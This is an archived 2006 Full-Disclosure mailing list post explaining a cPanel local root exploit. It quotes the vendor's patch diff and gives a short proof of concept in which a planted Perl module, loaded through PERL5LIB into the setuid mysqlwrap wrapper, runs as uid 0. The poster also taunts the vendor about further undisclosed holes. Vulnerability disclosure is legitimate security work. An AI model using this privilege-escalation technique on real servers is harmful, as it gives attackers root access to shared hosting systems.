full-disclosure - cpanel exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 30 Sep 2006 13:48:32 -0500
From: "cp haquer" <cphaquer@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: cpanel exploit

It was pretty easy to figure out how the exploit worked once you saw their
first attempt at fixing it.

--- /usr/local/cpanel/bin/mysqladmin    2006-08-29 16:54:07.000000000 -0500
+++ httpupdate.cpanel.net/cpanelsync/EDGE/bin/mysqladmin        2006-09-23
23:51:20.000000000 -0500
@@ -5,9 +5,14 @@
 # This code is subject to the cpanel license. Unauthorized copying is
prohibited

 BEGIN {
-    push( @INC, "/usr/local/cpanel" );
+    unshift( @INC, "/usr/local/cpanel" );
+    @INC=grep(!/^\./,@INC);
+
@INC=grep(/^(\/usr\/lib\/perl|\/usr\/local\/lib\/perl|\/usr\/local\/cpanel)/,@INC);
+
 }

So obviously the exploit involves inserting things into @INC when this
script is ran as root.  So, how is this script ran as root?

lrwxrwxrwx    1 root     root  /usr/local/cpanel/bin/mysqlwrap -> cpwrap*
-rwsr-xr-x    1 root     wheel /usr/local/cpanel/bin/cpwrap*

Through the setuid program mysqlwrap of course!  So the only quesiton is how
to insert things into @INC.  There are 2 ways that I could find, a command
line argument to perl, or the PERL5LIB environment variable.  Obviously, the
PERL5LIB environment variable seems like a good bet.

domainc@...ain.com [~]# cat ~/OMGWTFLOL/strict.pm
die("my id is $<\n");
domainc@...ain.com [~]# PERL5LIB=/home/domainc/OMGWTFLOL
/usr/local/cpanel/bin/mysqlwrap ADDDB
<b>Database Created</b><br>
Added the database .
my id is 0
Compilation failed in require at /usr/local/cpanel/Cpanel/Version.pm line 8.
BEGIN failed--compilation aborted at /usr/local/cpanel/Cpanel/Version.pm
line 8.Compilation failed in require at /usr/local/cpanel/bin/mysqladmin
line 11.
BEGIN failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line
11.

Smart readers will realize that the above patch is pretty stupid attempt at
stopping the exploit.  Several hosting companies with hacked servers had to
intervene to make sure cPanel fixed it correctly.  In new verisons of
cPanel, cpwrap now appears to clean out environment variables before
executing things.  But don't worry, there are several local root exploits
all over cPanel waiting to be discovered.  I have discovered 2 more on the
same day that I discovered how this one works.

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/